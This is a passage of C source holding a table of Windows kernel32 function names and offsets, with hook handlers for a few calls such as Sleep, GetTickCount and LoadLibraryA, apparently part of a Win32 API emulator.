NULL},\n\t{\"GetSystemTime\", 0x0000176B, NULL, NULL},\n\t{\"GetSystemTimeAdjustment\", 0x0002D36F, NULL, NULL},\n\t{\"GetSystemTimeAsFileTime\", 0x000017E5, NULL, NULL},\n\t{\"GetSystemTimes\", 0x00060F22, NULL, NULL},\n\t{\"GetSystemWindowsDirectoryA\", 0x000212F1, NULL, NULL},\n\t{\"GetSystemWindowsDirectoryW\", 0x0000AD29, NULL, NULL},\n\t{\"GetSystemWow64DirectoryA\", 0x0002146C, NULL, NULL},\n\t{\"GetSystemWow64DirectoryW\", 0x0002146C, NULL, NULL},\n\t{\"GetTapeParameters\", 0x0006B1C2, NULL, NULL},\n\t{\"GetTapePosition\", 0x0006B08C, NULL, NULL},\n\t{\"GetTapeStatus\", 0x0006B25F, NULL, NULL},\n\t{\"GetTempFileNameA\", 0x000608FF, NULL, NULL},\n\t{\"GetTempFileNameW\", 0x000359B7, NULL, NULL},\n\t{\"GetTempPathA\", 0x00035DCA, env_w32_hook_GetTempPathA, NULL},\n\t{\"GetTempPathW\", 0x00030789, NULL, NULL},\n\t{\"GetThreadContext\", 0x0003970D, NULL, NULL},\n\t{\"GetThreadIOPendingFlag\", 0x00062D09, NULL, NULL},\n\t{\"GetThreadLocale\", 0x0000A415, NULL, NULL},\n\t{\"GetThreadPriority\", 0x0000A793, NULL, NULL},\n\t{\"GetThreadPriorityBoost\", 0x00062A6B, NULL, NULL},\n\t{\"GetThreadSelectorEntry\", 0x0005A1E8, NULL, NULL},\n\t{\"GetThreadTimes\", 0x00062C9C, NULL, NULL},\n\t{\"GetTickCount\", 0x0000929C, env_w32_hook_GetTickCount, NULL},\n\t{\"GetTimeFormatA\", 0x0003632D, NULL, NULL},\n\t{\"GetTimeFormatW\", 0x00033FD3, NULL, NULL},\n\t{\"GetTimeZoneInformation\", 0x000350BF, NULL, NULL},\n\t{\"GetUserDefaultLCID\", 0x00009F10, NULL, NULL},\n\t{\"GetUserDefaultLangID\", 0x0000BF64, NULL, NULL},\n\t{\"GetUserDefaultUILanguage\", 0x00013070, NULL, NULL},\n\t{\"GetUserGeoID\", 0x0003798E, NULL, NULL},\n\t{\"GetVDMCurrentDirectories\", 0x00067849, NULL, NULL},\n\t{\"GetVersion\", 0x000111DA, env_w32_hook_GetVersion, NULL},\n\t{\"GetVersionExA\", 0x00012ADE, NULL, NULL},\n\t{\"GetVersionExW\", 0x0000AE65, NULL, NULL},\n\t{\"GetVolumeInformationA\", 0x00021BA5, NULL, NULL},\n\t{\"GetVolumeInformationW\", 0x0000F9E5, NULL, NULL},\n\t{\"GetVolumeNameForVolumeMountPointA\", 0x00069F61, NULL, NULL},\n\t{\"GetVolumeNameForVolumeMountPointW\", 0x0001FB88, NULL, NULL},\n\t{\"GetVolumePathNameA\", 0x0002E8B2, NULL, NULL},\n\t{\"GetVolumePathNameW\", 0x0002E61C, NULL, NULL},\n\t{\"GetVolumePathNamesForVolumeNameA\", 0x0006A100, NULL, NULL},\n\t{\"GetVolumePathNamesForVolumeNameW\", 0x00020D14, NULL, NULL},\n\t{\"GetWindowsDirectoryA\", 0x00021363, NULL, NULL},\n\t{\"GetWindowsDirectoryW\", 0x0000AD7B, NULL, NULL},\n\t{\"GetWriteWatch\", 0x0005E7CA, NULL, NULL},\n\t{\"GlobalAddAtomA\", 0x000360A9, NULL, NULL},\n\t{\"GlobalAddAtomW\", 0x0001006C, NULL, NULL},\n\t{\"GlobalAlloc\", 0x0000FD2D, NULL, NULL},\n\t{\"GlobalCompact\", 0x0005E670, NULL, NULL},\n\t{\"GlobalDeleteAtom\", 0x00030BBB, NULL, NULL},\n\t{\"GlobalFindAtomA\", 0x000360C3, NULL, NULL},\n\t{\"GlobalFindAtomW\", 0x00034E97, NULL, NULL},\n\t{\"GlobalFix\", 0x0005E686, NULL, NULL},\n\t{\"GlobalFlags\", 0x00036772, NULL, NULL},\n\t{\"GlobalFree\", 0x0000FC2F, NULL, NULL},\n\t{\"GlobalGetAtomNameA\", 0x0005B28B, NULL, NULL},\n\t{\"GlobalGetAtomNameW\", 0x0002C3BE, NULL, NULL},\n\t{\"GlobalHandle\", 0x00034CB9, NULL, NULL},\n\t{\"GlobalLock\", 0x0000FF19, NULL, NULL},\n\t{\"GlobalMemoryStatus\", 0x000310F2, NULL, NULL},\n\t{\"GlobalMemoryStatusEx\", 0x0001F992, NULL, NULL},\n\t{\"GlobalReAlloc\", 0x000123B9, NULL, NULL},\n\t{\"GlobalSize\", 0x00034DA1, NULL, NULL},\n\t{\"GlobalUnWire\", 0x0005E6CA, NULL, NULL},\n\t{\"GlobalUnfix\", 0x0005E6A0, NULL, NULL},\n\t{\"GlobalUnlock\", 0x0000FE82, NULL, NULL},\n\t{\"GlobalWire\", 0x0005E6BA, NULL, NULL},\n\t{\"Heap32First\", 0x00063ADE, NULL, NULL},\n\t{\"Heap32ListFirst\", 0x00063999, NULL, NULL},\n\t{\"Heap32ListNext\", 0x00063A47, NULL, NULL},\n\t{\"Heap32Next\", 0x00063BF8, NULL, NULL},\n\t{\"HeapAlloc\", 0x00009048, NULL, NULL},\n\t{\"HeapCompact\", 0x0003611E, NULL, NULL},\n\t{\"HeapCreate\", 0x00012BB6, NULL, NULL},\n\t{\"HeapCreateTagsW\", 0x0005E8C9, NULL, NULL},\n\t{\"HeapDestroy\", 0x00010EF8, NULL, NULL},\n\t{\"HeapExtend\", 0x0005E898, NULL, NULL},\n\t{\"HeapFree\", 0x0000905E, NULL, NULL},\n\t{\"HeapLock\", 0x0005E9EC, NULL, NULL},\n\t{\"HeapQueryInformation\", 0x0005EB25, NULL, NULL},\n\t{\"HeapQueryTagW\", 0x0005E8DA, NULL, NULL},\n\t{\"HeapReAlloc\", 0x00009070, NULL, NULL},\n\t{\"HeapSetInformation\", 0x00039469, NULL, NULL},\n\t{\"HeapSize\", 0x00009088, NULL, NULL},\n\t{\"HeapSummary\", 0x0005E8EB, NULL, NULL},\n\t{\"HeapUnlock\", 0x0005EA06, NULL, NULL},\n\t{\"HeapUsage\", 0x0005E947, NULL, NULL},\n\t{\"HeapValidate\", 0x0005E9BB, NULL, NULL},\n\t{\"HeapWalk\", 0x0005EA20, NULL, NULL},\n\t{\"InitAtomTable\", 0x0002AF8F, NULL, NULL},\n\t{\"InitializeCriticalSection\", 0x00009EF1, NULL, NULL},\n\t{\"InitializeCriticalSectionAndSpinCount\", 0x0000B829, NULL, NULL},\n\t{\"InitializeSListHead\", 0x0000909A, NULL, NULL},\n\t{\"InterlockedCompareExchange\", 0x000097A2, NULL, NULL},\n\t{\"InterlockedDecrement\", 0x0000977A, NULL, NULL},\n\t{\"InterlockedExchange\", 0x0000978E, NULL, NULL},\n\t{\"InterlockedExchangeAdd\", 0x000097B6, NULL, NULL},\n\t{\"InterlockedFlushSList\", 0x000090B7, NULL, NULL},\n\t{\"InterlockedIncrement\", 0x00009766, NULL, NULL},\n\t{\"InterlockedPopEntrySList\", 0x000090D6, NULL, NULL},\n\t{\"InterlockedPushEntrySList\", 0x000090F8, NULL, NULL},\n\t{\"InvalidateConsoleDIBits\", 0x00073215, NULL, NULL},\n\t{\"IsBadCodePtr\", 0x0000BCCF, NULL, NULL},\n\t{\"IsBadHugeReadPtr\", 0x0003593F, NULL, NULL},\n\t{\"IsBadHugeWritePtr\", 0x0000BF9D, NULL, NULL},\n\t{\"IsBadReadPtr\", 0x00009E01, NULL, NULL},\n\t{\"IsBadStringPtrA\", 0x00032259, NULL, NULL},\n\t{\"IsBadStringPtrW\", 0x0000A5DC, NULL, NULL},\n\t{\"IsBadWritePtr\", 0x00009E79, NULL, NULL},\n\t{\"IsDBCSLeadByte\", 0x0000B7DC, NULL, NULL},\n\t{\"IsDBCSLeadByteEx\", 0x0007A4CE, NULL, NULL},\n\t{\"IsDebuggerPresent\", 0x00013093, NULL, NULL},\n\t{\"IsProcessInJob\", 0x0006B324, NULL, NULL},\n\t{\"IsProcessorFeaturePresent\", 0x0000AE2A, NULL, NULL},\n\t{\"IsSystemResumeAutomatic\", 0x00060B60, NULL, NULL},\n\t{\"IsValidCodePage\", 0x000110CB, NULL, NULL},\n\t{\"IsValidLanguageGroup\", 0x000763EF, NULL, NULL},\n\t{\"IsValidLocale\", 0x0001C48B, NULL, NULL},\n\t{\"IsValidUILanguage\", 0x000764FB, NULL, NULL},\n\t{\"IsWow64Process\", 0x00015199, NULL, NULL},\n\t{\"LCMapStringA\", 0x00038DE8, NULL, NULL},\n\t{\"LCMapStringW\", 0x0000CCA8, NULL, NULL},\n\t{\"LZClose\", 0x000654BB, NULL, NULL},\n\t{\"LZCloseFile\", 0x00065444, NULL, NULL},\n\t{\"LZCopy\", 0x000592F8, NULL, NULL},\n\t{\"LZCreateFileW\", 0x00064F85, NULL, NULL},\n\t{\"LZDone\", 0x0007F1FC, NULL, NULL},\n\t{\"LZInit\", 0x00064E2A, NULL, NULL},\n\t{\"LZOpenFileA\", 0x00065053, NULL, NULL},\n\t{\"LZOpenFileW\", 0x00065114, NULL, NULL},\n\t{\"LZRead\", 0x00065236, NULL, NULL},\n\t{\"LZSeek\", 0x000651AB, NULL, NULL},\n\t{\"LZStart\", 0x0007E9E7, NULL, NULL},\n\t{\"LeaveCriticalSection\", 0x0000911B, NULL, NULL},\n\t{\"LoadLibraryA\", 0x00001D77, env_w32_hook_LoadLibrayA, NULL},\n\t{\"LoadLibraryExA\", 0x00001D4F, NULL, NULL},\n\t{\"LoadLibraryExW\", 0x00001AF1, NULL, NULL},\n\t{\"LoadLibraryW\", 0x0000AE4B, NULL, NULL},\n\t{\"LoadModule\", 0x0006147E, NULL, NULL},\n\t{\"LoadResource\", 0x00009FB5, NULL, NULL},\n\t{\"LocalAlloc\", 0x0000998D, NULL, NULL},\n\t{\"LocalCompact\", 0x0005E670, NULL, NULL},\n\t{\"LocalFileTimeToFileTime\", 0x00035524, NULL, NULL},\n\t{\"LocalFlags\", 0x00055A0E, NULL, NULL},\n\t{\"LocalFree\", 0x0000992F, NULL, NULL},\n\t{\"LocalHandle\", 0x00055B09, NULL, NULL},\n\t{\"LocalLock\", 0x00032E1D, NULL, NULL},\n\t{\"LocalReAlloc\", 0x00030927, NULL, NULL},\n\t{\"LocalShrink\", 0x0005E882, NULL, NULL},\n\t{\"LocalSize\", 0x000325BC, NULL, NULL},\n\t{\"LocalUnlock\", 0x00032EB1, NULL, NULL},\n\t{\"LockFile\", 0x00032361, NULL, NULL},\n\t{\"LockFileEx\", 0x0002F569, NULL, NULL},\n\t{\"LockResource\", 0x0000CC97, NULL, NULL},\n\t{\"MapUserPhysicalPages\", 0x0005E76E, NULL, NULL},\n\t{\"MapUserPhysicalPagesScatter\", 0x0005E79C, NULL, NULL},\n\t{\"MapViewOfFile\", 0x0000B905, env_w32_hook_MapViewOfFile, NULL},\n\t{\"MapViewOfFileEx\", 0x0000B896, NULL, NULL},\n\t{\"Module32First\", 0x00064268, NULL, NULL},\n\t{\"Module32FirstW\", 0x000641AF, NULL, NULL},\n\t{\"Module32Next\", 0x000643ED, NULL, NULL},\n\t{\"Module32NextW\", 0x0006434C, NULL, NULL},\n\t{\"MoveFileA\", 0x00035E8F, NULL, NULL},\n\t{\"MoveFileExA\", 0x0005D4C3, NULL, NULL},\n\t{\"MoveFileExW\", 0x0003565B, NULL, NULL},\n\t{\"MoveFileW\", 0x00021261, NULL, NULL},\n\t{\"MoveFileWithProgressA\", 0x00035EAE, NULL, NULL},\n\t{\"MoveFileWithProgressW\", 0x0001F72E, NULL, NULL},\n\t{\"MulDiv\", 0x000097C6, NULL, NULL},\n\t{\"MultiByteToWideChar\", 0x00009BF8, NULL, NULL},\n\t{\"NlsConvertIntegerToString\", 0x00014F5C, NULL, NULL},\n\t{\"NlsGetCacheUpdateCount\", 0x00035819, NULL, NULL},\n\t{\"NlsResetProcessLocale\", 0x000763C9, NULL, NULL},\n\t{\"NumaVirtualQueryNode\", 0x000600D2, NULL, NULL},\n\t{\"OpenConsoleW\", 0x00010FE1, NULL, NULL},\n\t{\"OpenDataFile\", 0x0002AD98, NULL, NULL},\n\t{\"OpenEventA\", 0x0001320C, NULL, NULL},\n\t{\"OpenEventW\", 0x00013140, NULL, NULL},\n\t{\"OpenFile\", 0x00021982, NULL, NULL},\n\t{\"OpenFileMappingA\", 0x0000BB76, NULL, NULL},\n\t{\"OpenFileMappingW\", 0x0000BADA, NULL, NULL},\n\t{\"OpenJobObjectA\", 0x0006B3F8, NULL, NULL},\n\t{\"OpenJobObjectW\", 0x0006B280, NULL, NULL},\n\t{\"OpenMutexA\", 0x0000EA1B, NULL, NULL},\n\t{\"OpenMutexW\", 0x0000E995, NULL, NULL},\n\t{\"OpenProcess\", 0x000309E1, NULL, NULL},\n\t{\"OpenProfileUserMapping\", 0x0003331F, NULL, NULL},\n\t{\"OpenSemaphoreA\", 0x0002CA47, NULL, NULL},\n\t{\"OpenSemaphoreW\", 0x0002E30F, NULL, NULL},\n\t{\"OpenThread\", 0x0002FC00, NULL, NULL},\n\t{\"OpenWaitableTimerA\", 0x00061AF0, NULL, NULL},\n\t{\"OpenWaitableTimerW\", 0x00061985, NULL, NULL},\n\t{\"OutputDebugStringA\", 0x00059D78, NULL, NULL},\n\t{\"OutputDebugStringW\", 0x0005A42D, NULL, NULL},\n\t{\"PeekConsoleInputA\", 0x0007348D, NULL, NULL},\n\t{\"PeekConsoleInputW\", 0x000734B0, NULL, NULL},\n\t{\"PeekNamedPipe\", 0x0005F90F, NULL, NULL},\n\t{\"PostQueuedCompletionStatus\", 0x000126F2, NULL, NULL},\n\t{\"PrepareTape\", 0x0006B0E8, NULL, NULL},\n\t{\"PrivCopyFileExW\", 0x0002005F, NULL, NULL},\n\t{\"PrivMoveFileIdentityW\", 0x0005D0E9, NULL, NULL},\n\t{\"Process32First\", 0x00063E1D, NULL, NULL},\n\t{\"Process32FirstW\", 0x00063D64, NULL, NULL},\n\t{\"Process32Next\", 0x00063F90, NULL, NULL},\n\t{\"Process32NextW\", 0x00063EEF, NULL, NULL},\n\t{\"ProcessIdToSessionId\", 0x00012F89, NULL, NULL},\n\t{\"PulseEvent\", 0x0002C05E, NULL, NULL},\n\t{\"PurgeComm\", 0x00065D02, NULL, NULL},\n\t{\"QueryActCtxW\", 0x000162DB, NULL, NULL},\n\t{\"QueryDepthSList\", 0x00009139, NULL, NULL},\n\t{\"QueryDosDeviceA\", 0x0005C36C, NULL, NULL},\n\t{\"QueryDosDeviceW\", 0x00021D8D, NULL, NULL},\n\t{\"QueryInformationJobObject\", 0x0002AFC9, NULL, NULL},\n\t{\"QueryMemoryResourceNotification\", 0x000395D8, NULL, NULL},\n\t{\"QueryPerformanceCounter\", 0x0000A427, NULL, NULL},\n\t{\"QueryPerformanceFrequency\", 0x0002FA46, NULL, NULL},\n\t{\"QueryWin31IniFilesMappedToRegistry\", 0x0005B71C, NULL, NULL},\n\t{\"QueueUserAPC\", 0x0002C082, NULL, NULL},\n\t{\"QueueUserWorkItem\", 0x00030A62, NULL, NULL},\n\t{\"RaiseException\", 0x00012A09, NULL, NULL},\n\t{\"ReadConsoleA\", 0x00071A1D, NULL, NULL},\n\t{\"ReadConsoleInputA\", 0x000734D3, NULL, NULL},\n\t{\"ReadConsoleInputExA\", 0x00073519, NULL, NULL},\n\t{\"ReadConsoleInputExW\", 0x0007353D, NULL, NULL},\n\t{\"ReadConsoleInputW\", 0x000734F6, NULL, NULL},\n\t{\"ReadConsoleOutputA\", 0x00072805, NULL, NULL},\n\t{\"ReadConsoleOutputAttribute\", 0x00072D25, NULL, NULL},\n\t{\"ReadConsoleOutputCharacterA\", 0x00072CD9, NULL, NULL},\n\t{\"ReadConsoleOutputCharacterW\", 0x00072CFF, NULL, NULL},\n\t{\"ReadConsoleOutputW\", 0x000727E1, NULL, NULL},\n\t{\"ReadConsoleW\", 0x00071A6C, NULL, NULL},\n\t{\"ReadDirectoryChangesW\", 0x0003162F, NULL, NULL},\n\t{\"ReadFile\", 0x0000180E, NULL, NULL},\n\t{\"ReadFileEx\", 0x0002BCFB, NULL, NULL},\n\t{\"ReadFileScatter\", 0x0002DE51, NULL, NULL},\n\t{\"ReadProcessMemory\", 0x000021CC, NULL, NULL},\n\t{\"RegisterConsoleIME\", 0x00074AB9, NULL, NULL},\n\t{\"RegisterConsoleOS2\", 0x000748C9, NULL, NULL},\n\t{\"RegisterConsoleVDM\", 0x00071AC2, NULL, NULL},\n\t{\"RegisterWaitForInputIdle\", 0x00016F8E, NULL, NULL},\n\t{\"RegisterWaitForSingleObject\", 0x000211CD, NULL, NULL},\n\t{\"RegisterWaitForSingleObjectEx\", 0x0002B086, NULL, NULL},\n\t{\"RegisterWowBaseHandlers\", 0x0005E65A, NULL, NULL},\n\t{\"RegisterWowExec\", 0x000679A9, NULL, NULL},\n\t{\"ReleaseActCtx\", 0x0001305F, NULL, NULL},\n\t{\"ReleaseMutex\", 0x000024A7, NULL, NULL},\n\t{\"ReleaseSemaphore\", 0x0000BFAD, NULL, NULL},\n\t{\"RemoveDirectoryA\", 0x0005B219, NULL, NULL},\n\t{\"RemoveDirectoryW\", 0x00036F5B, NULL, NULL},\n\t{\"RemoveLocalAlternateComputerNameA\", 0x00059050, NULL, NULL},\n\t{\"RemoveLocalAlternateComputerNameW\", 0x00058F6F, NULL, NULL},\n\t{\"RemoveVectoredExceptionHandler\", 0x00009152, NULL, NULL},\n\t{\"ReplaceFile\", 0x00036C3C, NULL, NULL},\n\t{\"ReplaceFileA\", 0x0005E307, NULL, NULL},\n\t{\"ReplaceFileW\", 0x00036C3C, NULL, NULL},\n\t{\"RequestDeviceWakeup\", 0x00060B6F, NULL, NULL},\n\t{\"RequestWakeupLatency\", 0x00060AF4, NULL, NULL},\n\t{\"ResetEvent\", 0x0000A03B, NULL, NULL},\n\t{\"ResetWriteWatch\", 0x0005E803, NULL, NULL},\n\t{\"RestoreLastError\", 0x0000917A, NULL, NULL},\n\t{\"ResumeThread\", 0x000328F7, NULL, NULL},\n\t{\"RtlCaptureContext\", 0x00009199, NULL, NULL},\n\t{\"RtlCaptureStackBackTrace\", 0x000091B1, NULL, NULL},\n\t{\"RtlFillMemory\", 0x000091D0, NULL, NULL},\n\t{\"RtlMoveMemory\", 0x000091E4, NULL, NULL},\n\t{\"RtlUnwind\", 0x000091F8, NULL, NULL},\n\t{\"RtlZeroMemory\", 0x00009208, NULL, NULL},\n\t{\"ScrollConsoleScreenBufferA\", 0x00073F21, NULL, NULL},\n\t{\"ScrollConsoleScreenBufferW\", 0x00073F45, NULL, NULL},\n\t{\"SearchPathA\", 0x000217EA, NULL, NULL},\n\t{\"SearchPathW\", 0x0000E6DC, NULL, NULL},\n\t{\"SetCPGlobal\", 0x000797C3, NULL, NULL},\n\t{\"SetCalendarInfoA\", 0x00075AD6, NULL, NULL},\n\t{\"SetCalendarInfoW\", 0x00076D1B, NULL, NULL},\n\t{\"SetClientTimeZoneInformation\", 0x00059A31, NULL, NULL},\n\t{\"SetComPlusPackageInstallStatus\", 0x0006BB65, NULL, NULL},\n\t{\"SetCommBreak\", 0x00065D8C, NULL, NULL},\n\t{\"SetCommConfig\", 0x00066EAB, NULL, NULL},\n\t{\"SetCommMask\", 0x00065DA4, NULL, NULL},\n\t{\"SetCommState\", 0x00065E43, NULL, NULL},\n\t{\"SetCommTimeouts\", 0x0006614B, NULL, NULL},\n\t{\"SetComputerNameA\", 0x00058234, NULL, NULL},\n\t{\"SetComputerNameExA\", 0x0005834C, NULL, NULL},\n\t{\"SetComputerNameExW\", 0x000581B3, NULL, NULL},\n\t{\"SetComputerNameW\", 0x0005808D, NULL, NULL},\n\t{\"SetConsoleActiveScreenBuffer\", 0x00073AA8, NULL, NULL},\n\t{\"SetConsoleCP\", 0x00074143, NULL, NULL},\n\t{\"SetConsoleCommandHistoryMode\", 0x000709C5, NULL, NULL},\n\t{\"SetConsoleCtrlHandler\", 0x0001B58B, NULL, NULL},\n\t{\"SetConsoleCursor\", 0x00071EEA, NULL, NULL},\n\t{\"SetConsoleCursorInfo\", 0x00073C84, NULL, NULL},\n\t{\"SetConsoleCursorMode\", 0x0007477F, NULL, NULL},\n\t{\"SetConsoleCursorPosition\", 0x00073C0A, NULL, NULL},\n\t{\"SetConsoleDisplayMode\", 0x000720A0, NULL, NULL},\n\t{\"SetConsoleFont\", 0x00073FE5, NULL, NULL},\n\t{\"SetConsoleHardwareState\", 0x00071CE9, NULL, NULL},\n\t{\"SetConsoleIcon\", 0x0007405F, NULL, NULL},\n\t{\"SetConsoleInputExeNameA\", 0x00070DA8, NULL, NULL},\n\t{\"SetConsoleInputExeNameW\", 0x0001B355, NULL, NULL},\n\t{\"SetConsoleKeyShortcuts\", 0x00071D69, NULL, NULL},\n\t{\"SetConsoleLocalEUDC\", 0x000746B9, NULL, NULL},\n\t{\"SetConsoleMaximumWindowSize\", 0x0007F215, NULL, NULL},\n\t{\"SetConsoleMenuClose\", 0x00071E30, NULL, NULL},\n\t{\"SetConsoleMode\", 0x0001B1F0, NULL, NULL},\n\t{\"SetConsoleNlsMode\", 0x000750D9, NULL, NULL},\n\t{\"SetConsoleNumberOfCommandsA\", 0x00070725, NULL, NULL},\n\t{\"SetConsoleNumberOfCommandsW\", 0x0007070A, NULL, NULL},\n\t{\"SetConsoleOS2OemFormat\", 0x0007493D, NULL, NULL},\n\t{\"SetConsoleOutputCP\", 0x00074261, NULL, NULL},\n\t{\"SetConsolePalette\", 0x000721C9, NULL, NULL},\n\t{\"SetConsoleScreenBufferSize\", 0x00073B90, NULL, NULL},\n\t{\"SetConsoleTextAttribute\", 0x00073F69, NULL, NULL},\n\t{\"SetConsoleTitleA\", 0x00070A61, NULL, NULL},\n\t{\"SetConsoleTitleW\", 0x0002D9BD, NULL, NULL},\n\t{\"SetConsoleWindowInfo\", 0x00073D51, NULL, NULL},\n\t{\"SetCriticalSectionSpinCount\", 0x0000921C, NULL, NULL},\n\t{\"SetCurrentDirectoryA\", 0x000360DD, NULL, NULL},\n\t{\"SetCurrentDirectoryW\", 0x0000F2EE, NULL, NULL},\n\t{\"SetDefaultCommConfigA\", 0x00066C11, NULL, NULL},\n\t{\"SetDefaultCommConfigW\", 0x00066B19, NULL, NULL},\n\t{\"SetDllDirectoryA\", 0x0005ED46, NULL, NULL},\n\t{\"SetDllDirectoryW\", 0x0005ECB0, NULL, NULL},\n\t{\"SetEndOfFile\", 0x00032044, NULL, NULL},\n\t{\"SetEnvironmentVariableA\", 0x00033478, NULL, NULL},\n\t{\"SetEnvironmentVariableW\", 0x000101BE, NULL, NULL},\n\t{\"SetErrorMode\", 0x0000AC0F, NULL, NULL},\n\t{\"SetEvent\", 0x0000A017, NULL, NULL},\n\t{\"SetFileApisToANSI\", 0x000365F6, NULL, NULL},\n\t{\"SetFileApisToOEM\", 0x0001D07E, NULL, NULL},\n\t{\"SetFileAttributesA\", 0x00012782, NULL, NULL},\n\t{\"SetFileAttributesW\", 0x000314D5, NULL, NULL},\n\t{\"SetFilePointer\", 0x00010B8E, env_w32_hook_SetFilePointer, NULL},\n\t{\"SetFilePointerEx\", 0x00021057, NULL, NULL},\n\t{\"SetFileShortNameA\", 0x0005C8C4, NULL, NULL},\n\t{\"SetFileShortNameW\", 0x0005C7F7, NULL, NULL},\n\t{\"SetFileTime\", 0x00031CB8, NULL, NULL},\n\t{\"SetFileValidData\", 0x0005C7A1, NULL, NULL},\n\t{\"SetFirmwareEnvironmentVariableA\", 0x0005E5C7, NULL, NULL},\n\t{\"SetFirmwareEnvironmentVariableW\", 0x0005E4AC, NULL, NULL},\n\t{\"SetHandleContext\", 0x0002146C, NULL, NULL},\n\t{\"SetHandleCount\", 0x0000CC97, NULL, NULL},\n\t{\"SetHandleInformation\", 0x0002E18C, NULL, NULL},\n\t{\"SetInformationJobObject\", 0x0002CA9F, NULL, NULL},\n\t{\"SetLastConsoleEventActive\", 0x000754D3, NULL, NULL},\n\t{\"SetLastError\", 0x00009241, NULL, NULL},\n\t{\"SetLocalPrimaryComputerNameA\", 0x000592AF, NULL, NULL},\n\t{\"SetLocalPrimaryComputerNameW\", 0x00059099, NULL, NULL},\n\t{\"SetLocalTime\", 0x00055921, NULL, NULL},\n\t{\"SetLocaleInfoA\", 0x000758CB, NULL, NULL},\n\t{\"SetLocaleInfoW\", 0x00076E73, NULL, NULL},\n\t{\"SetMailslotInfo\", 0x0002CDD8, NULL, NULL},\n\t{\"SetMessageWaitingIndicator\", 0x00060BBF, NULL, NULL},\n\t{\"SetNamedPipeHandleState\", 0x000313EC, NULL, NULL},\n\t{\"SetPriorityClass\", 0x0002C338, NULL, NULL},\n\t{\"SetProcessAffinityMask\", 0x000610B0, NULL, NULL},\n\t{\"SetProcessPriorityBoost\", 0x000610E0, NULL, NULL},\n\t{\"SetProcessShutdownParameters\", 0x0002C8ED, NULL, NULL},\n\t{\"SetProcessWorkingSetSize\", 0x000303D0, NULL, NULL},\n\t{\"SetStdHandle\", 0x0001DC03, NULL, NULL},\n\t{\"SetSystemPowerState\", 0x00060AAB, NULL, NULL},\n\t{\"SetSystemTime\", 0x000593BE, NULL, NULL},\n\t{\"SetSystemTimeAdjustment\", 0x00059584, NULL, NULL},\n\t{\"SetTapeParameters\", 0x0006B21E, NULL, NULL},\n\t{\"SetTapePosition\", 0x0006B046, NULL, NULL},\n\t{\"SetTermsrvAppInstallMode\", 0x00061BA2, NULL, NULL},\n\t{\"SetThreadAffinityMask\", 0x0002FA7A, NULL, NULL},\n\t{\"SetThreadContext\", 0x00062AA5, NULL, NULL},\n\t{\"SetThreadExecutionState\", 0x000392B5, NULL, NULL},\n\t{\"SetThreadIdealProcessor\", 0x00062D48, NULL, NULL},\n\t{\"SetThreadLocale\", 0x0001BBBA, NULL, NULL},\n\t{\"SetThreadPriority\", 0x0000C108, NULL, NULL},\n\t{\"SetThreadPriorityBoost\", 0x00062A30, NULL, NULL},\n\t{\"SetThreadUILanguage\", 0x0001B258, NULL, NULL},\n\t{\"SetTimeZoneInformation\", 0x0005945E, NULL, NULL},\n\t{\"SetTimerQueueTimer\", 0x0002B26E, NULL, NULL},\n\t{\"SetUnhandledExceptionFilter\", 0x0004479D, env_w32_hook_SetUnhandledExceptionFilter, NULL},\n\t{\"SetUserGeoID\", 0x00078C5C, NULL, NULL},\n\t{\"SetVDMCurrentDirectories\", 0x00067714, NULL, NULL},\n\t{\"SetVolumeLabelA\", 0x000609ED, NULL, NULL},\n\t{\"SetVolumeLabelW\", 0x00060499, NULL, NULL},\n\t{\"SetVolumeMountPointA\", 0x0006A091, NULL, NULL},\n\t{\"SetVolumeMountPointW\", 0x00069395, NULL, NULL},\n\t{\"SetWaitableTimer\", 0x000095F9, NULL, NULL},\n\t{\"SetupComm\", 0x000656C7, NULL, NULL},\n\t{\"ShowConsoleCursor\", 0x00071F64, NULL, NULL},\n\t{\"SignalObjectAndWait\", 0x00036696, NULL, NULL},\n\t{\"SizeofResource\", 0x0000BC69, NULL, NULL},\n\t{\"Sleep\", 0x00002442, env_w32_hook_Sleep, NULL},\n\t{\"SleepEx\", 0x0000239C, NULL, NULL},\n\t{\"SuspendThread\", 0x00039732, NULL, NULL},\n\t{\"SwitchToFiber\", 0x00010672, NULL, NULL},\n\t{\"SwitchToThread\", 0x00032992, NULL, NULL},\n\t{\"SystemTimeToFileTime\", 0x00010B1C, NULL, NULL},\n\t{\"SystemTimeToTzSpecificLocalTime\", 0x0002E9C1, NULL, NULL},\n\t{\"TerminateJobObject\", 0x0006B2F7, NULL, NULL},\n\t{\"TerminateProcess\", 0x00001E16, NULL, NULL},\n\t{\"TerminateThread\", 0x0001CE03, env_w32_hook_TerminateThread, NULL},\n\t{\"TermsrvAppInstallMode\", 0x0001EFCE, NULL, NULL},\n\t{\"Thread32First\", 0x00064062, NULL, NULL},\n\t{\"Thread32Next\", 0x00064116, NULL, NULL},\n\t{\"TlsAlloc\", 0x00012D9F, NULL, NULL},\n\t{\"TlsFree\", 0x000136D7, NULL, NULL},\n\t{\"TlsGetValue\", 0x00009740, NULL, NULL},\n\t{\"TlsSetValue\", 0x00009BC5, NULL, NULL},\n\t{\"Toolhelp32ReadProcessMemory\", 0x00063D24, NULL, NULL},\n\t{\"TransactNamedPipe\", 0x000312E5, NULL, NULL},\n\t{\"TransmitCommChar\", 0x000661F6, NULL, NULL},\n\t{\"TrimVirtualBuffer\", 0x0005EC4E, NULL, NULL},\n\t{\"TryEnterCriticalSection\", 0x0000925C, NULL, NULL},\n\t{\"TzSpecificLocalTimeToSystemTime\", 0x000595C1, NULL, NULL},\n\t{\"UTRegister\", 0x0005EEF0, NULL, NULL},\n\t{\"UTUnRegister\", 0x0007E98D, NULL, NULL},\n\t{\"UnhandledExceptionFilter\", 0x00062E62, NULL, NULL},\n\t{\"UnlockFile\", 0x000322BC, NULL, NULL},\n\t{\"UnlockFileEx\", 0x000322FB, NULL, NULL},\n\t{\"UnmapViewOfFile\", 0x0000B974, env_w32_hook_UnmapViewOfFile, NULL},\n\t{\"UnregisterConsoleIME\", 0x00074B86, NULL, NULL},\n\t{\"UnregisterWait\", 0x0002BFF8, NULL, NULL},\n\t{\"UnregisterWaitEx\", 0x00030062, NULL, NULL},\n\t{\"UpdateResourceA\", 0x0006F6AA, NULL, NULL},\n\t{\"UpdateResourceW\", 0x0006F5A3, NULL, NULL},\n\t{\"VDMConsoleOperation\", 0x000754E4, NULL, NULL},\n\t{\"VDMOperationStarted\", 0x00067E19, NULL, NULL},\n\t{\"ValidateLCType\", 0x0007AA95, NULL, NULL},\n\t{\"ValidateLocale\", 0x000397F8, NULL, NULL},\n\t{\"VerLanguageNameA\", 0x0002EFB9, NULL, NULL},\n\t{\"VerLanguageNameW\", 0x0002F041, NULL, 